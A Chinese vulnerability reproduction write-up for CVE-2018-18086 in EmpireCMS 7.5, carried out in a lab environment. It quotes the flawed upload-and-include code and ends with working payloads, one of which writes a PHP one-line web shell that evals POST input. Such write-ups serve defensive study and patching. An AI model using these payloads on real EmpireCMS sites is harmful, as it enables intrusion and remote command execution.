【漏洞复现 CVE-2018-18086】EmpireCMS 文件上传
0x01 漏洞描述
EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS)。 EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。
0x02 漏洞编号
CVE-2018-18086
0x03 影响范围
EmpireCMS<=7.5
0x04 漏洞复现
环境
使用Vulfocus靶场镜像一键搭建
https://fofapro.github.io/vulfocus/#/
复现
主要存在漏洞代码位置:/e/class/moddofun.php
//导入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
转到LoadInMod定义,make_password(10)对文件名进行加密重命名。但是include()直接包含上传的文件,这样就可以绕过重命名的文件
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
@include($path); 直接包含文件
上传一个1.php.mod文件,写入phpinfo()
<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>
访问上传的文件,成功返回代码
进行getshell,写入一句话木马,$
需要进行转义处理
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>